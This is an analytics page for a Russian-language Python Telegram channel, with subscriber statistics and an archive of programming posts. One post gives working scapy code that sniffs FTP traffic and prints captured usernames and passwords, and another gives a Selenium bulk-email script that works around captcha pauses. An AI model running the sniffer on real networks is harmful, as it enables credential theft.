en
Feedback
Python/ django

Python/ django

Open in Telegram

ΠΏΠΎ всСм вопросам @workakkk @itchannels_telegram - πŸ”₯ всС ΠΈΡ‚ ΠΊΠ°Π½Π°Π»Ρ‹ @ai_machinelearning_big_data -ML @ArtificialIntelligencedl -AI @datascienceiot - πŸ“š @pythonlbooks РКН: clck.ru/3FmxmM

Show more

πŸ“ˆ Analytical overview of Telegram channel Python/ django

Channel Python/ django (@pythonl) in the Russian language segment is an active participant. Currently, the community unites 58 949 subscribers, ranking 2 169 in the Technologies & Applications category and 10 231 in the Russia region.

πŸ“Š Audience metrics and dynamics

Since its creation on Π½Π΅Π²Ρ–Π΄ΠΎΠΌΠΎ, the project has demonstrated rapid growth, gathering an audience of 58 949 subscribers.

According to the latest data from 05 September, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by -186 over the last 30 days and by -28 over the last 24 hours, overall reach remains high.

  • Verification status: Not verified
  • Engagement rate (ER): The average audience engagement rate is 6.32%. Within the first 24 hours after publication, content typically collects 3.62% reactions from the total number of subscribers.
  • Post reach: On average, each post receives 3 727 views. Within the first day, a publication typically gains 2 133 views.
  • Reactions and interaction: The audience actively supports content: the average number of reactions per post is 24.
  • Thematic interests: Content is focused on key topics such as github, claude, контСкст, Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Π°, api.

πŸ“ Description and content policy

The author describes the resource as a platform for expressing subjective opinions:
β€œΠΏΠΎ всСм вопросам @workakkk @itchannels_telegram - πŸ”₯ всС ΠΈΡ‚ ΠΊΠ°Π½Π°Π»Ρ‹ @ai_machinelearning_big_data -ML @ArtificialIntelligencedl -AI @datascienceiot - πŸ“š @pythonlbooks РКН: clck.ru/3Fm...”

Thanks to the high frequency of updates (latest data received on 06 September, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.

58 949
Subscribers
-2824 hours
-87 days
-18630 days
Posts Archive
🟑 This week's digest of useful content from the world of Python ДайдТСст ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»ΠΎΠ² ΠΈΠ· ΠΌΠΈΡ€Π° Python Π·Π° нСдСлю. ΠŸΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ: β€” Π Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° событийно-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… микросСрвисов с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Python β€” Π‘Π΅Ρ€Π΅ΠΆΠ΅ΠΌ врСмя, дСньги, Π½Π΅Ρ€Π²Ρ‹: наш ΠΎΠΏΡ‹Ρ‚ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ справочника Ρ„Π°ΠΊΡ‚ΠΎΡ€ΠΎΠ² для ML-ΠΌΠΎΠ΄Π΅Π»Π΅ΠΉ ΠΎΡ†Π΅Π½ΠΊΠΈ риска. Π§Π°ΡΡ‚ΡŒ 2 β€” Π― люблю ΠΏΠΈΡ‚ΠΎΠ½, ΠΈ Π²ΠΎΡ‚ ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΎΠ½ мСня бСсит β€” Бписок популярных ΡƒΡ‚Π΅Ρ‡Π΅ΠΊ с GitHub: Анализ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠ΅Π² ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΉ β€” PyCon Russia 2023. Π—ΠΎΠ½Π° Python. ΠšΡ€Π°Ρ‚ΠΊΠΈΠΉ ΠΎΠ±Π·ΠΎΡ€ Π΄ΠΎΠΊΠ»Π°Π΄ΠΎΠ² β€” ΠœΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€Ρ‹ контСкста Π² Python β€” Π§Ρ‚ΠΎ происходит, ΠΊΠΎΠ³Π΄Π° Π·Π°ΠΏΡƒΡΠΊΠ°Π΅ΡˆΡŒ Β«Hello WorldΒ» Π² Linux β€” УскорСниС ΠΊΠΎΠ΄Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ многопроцСссорной ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π² Python β€” Руководство ΠΏΠΎ созданию Π±ΠΎΡ‚Π° YouTube с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ LangChain ΠΈ Pinecone Vectorstore β€” ΠŸΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚ FTP-пароля с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Python β€” Как Python ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ сборку мусора для эффСктивного управлСния ΠΏΠ°ΠΌΡΡ‚ΡŒΡŽ β€” Converting An Image File Into PDF Using Python β€” Introducing Kids to Coding Through Tkinter: A Fun Path to Python's Graphical User Interfaces ΠŸΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ: 🌐 ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹ сокращСния ΠΈ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ ΠΊΠΎΠ΄Π° Π½Π° Python 🌐 ΠŸΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ ΠΊΠΎΠ΄Π° Π½Π° Python 🌐 Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹ΠΉ интСрфСйс Π½Π° Python 🌐 Harvard CS50’s Artificial Intelligence with Python – Full University Course Π₯ΠΎΡ€ΠΎΡˆΠ΅Π³ΠΎ дня! @pythonl

πŸ–₯ Importing Data from SQL Server to Excel with Multiple Sheets using Python Π˜ΠΌΠΏΠΎΡ€Ρ‚ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· SQL Server Π² Excel с нСскольким
πŸ–₯ Importing Data from SQL Server to Excel with Multiple Sheets using Python Π˜ΠΌΠΏΠΎΡ€Ρ‚ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· SQL Server Π² Excel с нСсколькими листами с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Python. πŸ–₯ Code @pythonl

πŸ–₯ Coldtype Cross-platform display typography in python. Coldtype β€” это удобная кроссплатформСнная Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Python для ΠΏΡ€ΠΎΠ³
+1
πŸ–₯ Coldtype Cross-platform display typography in python. Coldtype β€” это удобная кроссплатформСнная Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Python для программирования Ρ‚ΠΈΠΏΠΎΠ³Ρ€Π°Ρ„ΠΈΠΊΠΈ ΠΈ тСкстовой Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ. β–ͺ Github β–ͺTutorial @pythonl

β—οΈΠšΠ°ΠΊ Ρ€Π°Π·Π²ΠΈΠ²Π°Ρ‚ΡŒΡΡ Python-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ? ΠΠ°Ρ€Π°Ρ‰ΠΈΠ²Π°Ρ‚ΡŒ объСм Π·Π½Π°Π½ΠΈΠΉ ΠΈ Π½Π°Π²Ρ‹ΠΊΠΎΠ². Π—Π° этим ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΡ‚Π΅ Π½Π° Π²Π΅Π±ΠΈΠ½Π°Ρ€, ΠΏΡ€ΠΈΡƒΡ€ΠΎΡ‡Π΅Π½Π½Ρ‹ΠΉ ΠΊ старту ΠΎΠ½Π»Π°ΠΉΠ½-курса Β«Python Developer. ProfessionalΒ» Π² OTUS. βœ… 15 августа β€” Β«Code reviewΒ» ΠžΠ±ΡΡƒΠ΄ΠΈΠΌ основы Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ API с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ° FastAPI, рассмотрим ΠΏΡ€ΠΈΠΌΠ΅Ρ€ нСбольшого прилоТСния ΠΈ освСтим особСнности развСртывания эксплуатации. πŸ§‘β€πŸ’» Π‘ΠΏΠΈΠΊΠ΅Ρ€ΠΎΠΌ выступит Бтанислав Π‘Ρ‚ΡƒΠΏΠ½ΠΈΠΊΠΎΠ², Ρ€ΡƒΠΊΠΎΠ²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π² VK. ЭкспСрт с 10+ Π»Π΅Ρ‚ ΠΎΠΏΡ‹Ρ‚Π° ΠΏΡ€ΠΎΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΎΠΉ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ. πŸ’ͺ ΠŸΠΎΠ³Ρ€ΡƒΠ·ΠΈΠΌ вас Π² ΡΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ Β«ΠΏΡ€ΠΎΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΡƒΡŽΒ» Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Π½Π° Python. Π“Π»Π°Π²Π½Ρ‹ΠΉ фокус курса Π½Π° основных Software Engineering компСтСнциях Python-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΈ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ ΠΏΡ€Π°Π³ΠΌΠ°Ρ‚ΠΈΡ‡Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Π° ΠΊ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡŽ Π·Π°Π΄Π°Ρ‡. πŸ‘‰ ΠŸΠ ΠžΠ™Π’Π˜ Π’Π•Π‘Π’ для рСгистрации Π½Π° ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΉ ΡƒΡ€ΠΎΠΊ https://otus.pw/JWbt/ Нативная интСграция. Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ ΠΎ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Π΅ www.otus.ru

πŸ–₯Sniffing FTP password with Python ΠŸΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚ FTP-пароля с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Python. from typing import Protocol import sys from scapy.l
πŸ–₯Sniffing FTP password with Python ΠŸΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚ FTP-пароля с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Python. from typing import Protocol import sys from scapy.layers import inet from scapy.all import * from scapy.layers import * import psutil import scapy.all as scapy from scapy.layers import http linea = '--------------------------------------------------' class bcolors: OK = '\033[92m' #GREEN WARNING = '\033[93m' #YELLOW ladrrr = '8GY.' ss = 'OWQ1' FAIL = '\033[91m' #RED pinocho_chocho = 'y!c' RESET = '\033[0m' #RESET COLOR def ftp_creds(p_ftp): if p_ftp[TCP].dport == 21: data = p_ftp.sprintf("%Raw.load%") if "USER" in data: global ip_ftp global ip_ftp2 ip_ftp = "'FTP IP: ", p_ftp[IP].dst, "'" print(ip_ftp) global user_ftp data = data.split(" ") data = data[1] global user_ftp2 user_ftp = "'User: ", data, "'" print(user_ftp) elif "PASS" in data: data = data.split(" ") data = data[1] global passwd_ftp global passwd_ftp2 passwd_ftp = "'PASSWORD: ", data,"'" print(passwd_ftp) print(linea) global ftp_ip_final global user_ftp_final def ftp(): print(linea) print(f"{bcolors.WARNING}Your Network Interfaces{bcolors.RESET}") addrs = psutil.net_if_addrs() cc = str(addrs.keys()) interfaces = print(cc[9:]) bb = input("Choose Interface to use: ") xs = 0 if bb in cc: try: while xs>=0: print(linea) print(f"{bcolors.WARNING}Searching...{bcolors.RESET}") ftp_pkt = sniff(filter='tcp and port 21',iface=bb,prn=ftp_creds) except KeyboardInterrupt: print(f"{bcolors.FAIL}You cancelled with Ctrl+C{bcolors.RESET}") print(linea) global ftphost global ftpuser global ftpass ftp() πŸ“Œ Код πŸ“Œ Π‘Ρ‚Π°Ρ‚ΡŒΡ @pythonl

πŸ– Python Mouse Control Remotely With Your Hand. ДистанционноС ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΌΡ‹ΡˆΡŒΡŽ Python Ρ€ΡƒΠΊΠΎΠΉ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠ³ΠΎ зрСния. β–ͺCode @pythonl

πŸ”₯Email sender script (Selenium + Python) Π‘ΠΊΡ€ΠΈΠΏΡ‚ рассылки писСм ΠΏΠΎ Email (Selenium + Python). import time from selenium import webdriver from selenium.webdriver.common.keys import Keys import csv # ΠŸΡƒΡ‚ΡŒ ΠΊ web-driver EXE_PATH = 'chromedriver.exe' # Π›ΠΎΠ³ΠΈΠ½ ΠΈ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ ΠΎΡ‚ вашСй ΠΏΠΎΡ‡Ρ‚Ρ‹ EMAIL = email@mail.com PASSWORD = password # запускаСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ browser = webdriver.Chrome(executable_path=EXE_PATH) # ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ Π½Π° страницу шаблонов mail.ru # Π‘Π°ΠΉΡ‚ выдаст Ρ„ΠΎΡ€ΠΌΡƒ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΈ browser.get('https://e.mail.ru/templates/') # ВыставляСм Ρ‚Π°ΠΉΠΌΠΈΠ½Π³ΠΈ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΈ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ успСл ΠΏΡ€ΠΎΠ³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ страницу time.sleep(5) # Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π°ΠΌ Π½Π°Π΄ΠΎ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ # заполняСм ΠΏΠΎΠ»Π΅ Π»ΠΎΠ³ΠΈΠ½ emailElem = browser.find_element_by_name('username') emailElem.send_keys(EMAIL) emailElem.submit() time.sleep(1) # заполняСм ΠΏΠΎΠ»Π΅ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ passwordElem = browser.find_element_by_name('password') passwordElem.send_keys(PASSWORD) passwordElem.submit() time.sleep(5) # ΠœΡ‹ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π»ΠΈΡΡŒ, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρ‚Π°Ρ‰ΠΈΠΌ адрСса ΠΈΠ· Ρ„Π°ΠΉΠ»Π°.csv # Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΠ΅ Ρ„Π°ΠΉΠ»Π° # ЀИО,Email with open('email_list.csv', encoding="utf-8") as file: EMAIL_LIST = csv.reader(file) # ЗапускаСм Ρ†ΠΈΠΊΠ» for row in EMAIL_LIST: # Если mail Ρ‡Ρ‚ΠΎ Ρ‚ΠΎ Π·Π°ΠΏΠΎΠ΄ΠΎΠ·Ρ€ΠΈΡ‚, Ρ‚ΠΎ Π²Ρ‹ΠΊΠΈΠ½Π΅Ρ‚ ΠΊΠ°ΠΏΡ‡Ρƒ, # ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ except, ΠΆΠ΄Π΅ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя, ΠΈ снова ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅ΠΌ письмо try: # ЀИО <Email> email_to = row[0] + "<" + row[1] + ">" # НаТимаСм ΠΊΠ½ΠΎΠΏΠΊΡƒ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ (ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π² спискС шаблон настраиваСм Π·Π°Ρ€Π°Π½Π΅Π΅) browser.find_element_by_xpath('//*[@id="app-canvas"]/div/div[1]/div[1]/div/div[2]/span/div[2]/div/div/div/div/div[1]/div/div/div/div[1]/div/div/a[1]').click() time.sleep(3) # ЗаполняСм ΠΏΠΎΠ»Π΅ ΠΊΠΎΠΌΡƒ browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[1]/div[2]/div[3]/div[2]/div/div/div[1]/div/div[2]/div/div/label/div/div/input').send_keys(email_to) time.sleep(1) # НаТимаСм ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click() time.sleep(5) # ПослС ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ открываСтся модальноС ΠΎΠΊΠ½ΠΎ, Π·Π°ΠΊΡ€Ρ‹Π²Π°Π΅ΠΌ Π΅Π³ΠΎ browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click() time.sleep(10) except Exception: # Π‘ΠΎΠΎΠ±Ρ‰Π°Π΅ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ, Ρ‡Ρ‚ΠΎ скрипту Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠ΅Ρ€Π΅ΠΆΠ΄Π°Ρ‚ΡŒ print('Error! Wait 1 hour\n') # Π–Π΄Π΅ΠΌ час (ΠΌΠΎΠΆΠ½ΠΎ мСньшС) time.sleep(3600) # Π‘Π½ΠΎΠ²Π° Π½Π°ΠΆΠΈΠΌΠ°Π΅ΠΌ ΠΊΠ½ΠΎΠΏΠΊΡƒ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click() time.sleep(5) # Π‘Π½ΠΎΠ²Π° Π·Π°ΠΊΡ€Ρ‹Π²Π°Π΅ΠΌ модальноС ΠΎΠΊΠ½ΠΎ browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click() time.sleep(10) print('SUCCESS!') time.sleep(500) @pythonl

πŸ–₯ Create a Simple User Form with Python and Tkinter in 5 Minutes Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ простой ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΉ Ρ„ΠΎΡ€ΠΌΡ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Python ΠΈ
πŸ–₯ Create a Simple User Form with Python and Tkinter in 5 Minutes Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ простой ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΉ Ρ„ΠΎΡ€ΠΌΡ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Python ΠΈ Tkinter Π·Π° 5 ΠΌΠΈΠ½ΡƒΡ‚ - руководство для Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΡ…. import openpyxl from tkinter import * from tkinter import messagebox def register(): # Get the user input from the form first_name = first_name_entry.get() Last_name = Last_name_entry.get() email = email_entry.get() Mobile = Mobile_entry.get() # Create a new row with the user input new_row = [first_name, Last_name, email,Mobile] # Append the new row to the Excel sheet workbook = openpyxl.load_workbook("registration_data.xlsx") sheet = workbook.active sheet.append(new_row) workbook.save("registration_data.xlsx") messagebox.showinfo("Success", "Registration successful!") # Create the main tkinter window root = Tk() root.title("Registration Form") root.geometry('300x300') # Create labels and entry fields for each input first_name_label = Label(root, text="First Name:") first_name_label.pack() first_name_entry = Entry(root) first_name_entry.pack() Last_name_label = Label(root, text="Last Name:") Last_name_label.pack() Last_name_entry = Entry(root) Last_name_entry.pack() email_label = Label(root, text="Email:") email_label.pack() email_entry = Entry(root) email_entry.pack() Mobile_label = Label(root, text="Mobile:") Mobile_label.pack() Mobile_entry = Entry(root) Mobile_entry.pack() register_button = Button(root, text="Register", command=register) register_button.pack() root.mainloop() @pythonl

🐍Ten New Features of Python 3.11 That Make Your Code More Efficient 10 Π½ΠΎΠ²Ρ‹Ρ… возмоТностСй Python 3.11, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ΄Π΅Π»Π°ΡŽΡ‚ ваш ΠΊ
+9
🐍Ten New Features of Python 3.11 That Make Your Code More Efficient 10 Π½ΠΎΠ²Ρ‹Ρ… возмоТностСй Python 3.11, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ΄Π΅Π»Π°ΡŽΡ‚ ваш ΠΊΠΎΠ΄ Π±ΠΎΠ»Π΅Π΅ эффСктивным. 01 Pattern Matching *ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ 1. 02 Structural Pattern Matching *ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ 2. 03 Type Hints and Checks *ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ 3. 04 ΠžΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΡ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ *ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ 4. 05 Π£Π»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ ΠΎΡ‚Ρ‡Π΅Ρ‚ΠΎΠ² ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… *ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ 5. 06 Новая стандартная Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° zoneinfo *ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ 6. 07 iterate *ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ 7. 08 Merge Dictionary Operator *ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ 8. 09 Новая функция Ρ‚ΠΎΡ‡ΠΊΠΈ прСрывания ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ *ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ 9. 10 Бинхронная итСрация *ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ 10.

βš‘οΈΠœΠ°ΡΡ‚-хэв список для программистов, ΠΊΠ°Π½Π°Π»Ρ‹ с послСдними ΠΊΠ½ΠΈΠΆΠ½Ρ‹ΠΌΠΈ Π½ΠΎΠ²ΠΈΠ½ΠΊΠ°ΠΌΠΈ, Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°ΠΌΠΈ, Ρ€Π°Π·Π±ΠΎΡ€ΠΎΠΌ ΠΊΠΎΠ΄Π° ΠΈ Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ, связанной с вашим языком программирования. Π›ΡƒΡ‡ΡˆΠΈΠΉ способ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ свСТиС ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠΈ ΠΈ ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ Π·Π° Ρ‚Ρ€Π΅Π½Π΄Π°ΠΌΠΈ Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅. МашинноС ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅: t.me/ai_machinelearning_big_data Python: t.me/pythonl C#: t.me/csharp_ci C/C++/ t.me/cpluspluc Data Science: t.me/data_analysis_ml Devops: t.me/devOPSitsec Go: t.me/Golang_google Π‘Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…: t.me/sqlhub Rust: t.me/rust_code Javascript: t.me/javascriptv React: t.me/react_tg PHP: t.me/phpshka Android: t.me/android_its Мобильная Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°: t.me/mobdevelop Linux: t.me/+A8jY79rcyKJlYWY6 Big Data: t.me/bigdatai Π₯Π°ΠΊΠΈΠ½Π³: t.me/linuxkalii ВСстированиС: https://t.me/+F9jPLmMFqq1kNTMy Java: t.me/javatg πŸ’Ό Папка с вакансиями: t.me/addlist/_zyy_jQ_QUsyM2Vi Папка Go Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°: t.me/addlist/MUtJEeJSxeY2YTFi Папка Python Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°: t.me/addlist/eEPya-HF6mkxMGIy πŸ“• БСсплатныС Книги для программистов: https://t.me/addlist/YZ0EI8Ya4OJjYzEy 🎞 YouTube ΠΊΠ°Π½Π°Π»: https://www.youtube.com/@uproger πŸ˜†Π˜Π’-ΠœΠ΅ΠΌΡ‹: t.me/memes_prog πŸ‡¬πŸ‡§ΠΠ½Π³Π»ΠΈΠΉΡΠΊΠΈΠΉ: t.me/english_forprogrammers

πŸ”₯πŸ”₯ VideoCrafter:A Toolkit for Text-to-Video Generation and Editing A Toolkit for Text-to-Video Generation and Editing ΠžΠΏΠ΅Π½ΡΠΎΡƒΡ€Ρ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ для Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΠΈ Π²ΠΈΠ΄Π΅ΠΎΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΈ прСобразования тСкста Π² Π²ΠΈΠ΄Π΅ΠΎ. β€’Github β€’Colab @pythonl

πŸ–₯ Excel File Automation Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΈ Ρ€Π°Π±ΠΎΡ‚Π° с excel-Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ python-скрипта. from openpyxl import Workbook from openp
πŸ–₯ Excel File Automation Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΈ Ρ€Π°Π±ΠΎΡ‚Π° с excel-Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ python-скрипта. from openpyxl import Workbook from openpyxl.utils import get_column_letter from openpyxl.styles import Font #making the grid and giving the data data = { "Joe": { "math": 65, "science": 78, "english": 98, "gym": 89 }, "Bill": { "math": 55, "science": 72, "english": 87, "gym": 95 }, "Tim": { "math": 100, "science": 45, "english": 75, "gym": 92 }, "Sally": { "math": 30, "science": 25, "english": 45, "gym": 100 }, "Jane": { "math": 100, "science": 100, "english": 100, "gym": 60 } } wb = Workbook() ws = wb.active #assigning the title ws.title = "Grades" #giving proper formatting for columns headings = ['Name'] + list(data['Joe'].keys()) ws.append(headings) #reading the data for persom for person in data: grades = list(data[person].values()) ws.append([person] + grades) for col in range(2, len(data['Joe']) + 2): char = get_column_letter(col) ws[char + "7"] = f"=SUM({char + '2'}:{char + '6'})/{len(data)}" #assigning the colour and text type for col in range(1, 6): ws[get_column_letter(col) + '1'].font = Font(bold=True, color="0099CCFF") #saving the excel file in the same folder wb.save("NewGrades.xlsx") @pythonl

πŸ–₯ 8 delightful Python scripts that will brighten your day 8 Π²ΠΎΡΡ…ΠΈΡ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… скриптов Python, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ скрасят ваш дСнь Π­Ρ‚ΠΈ ΠΌΠ°Π»
+7
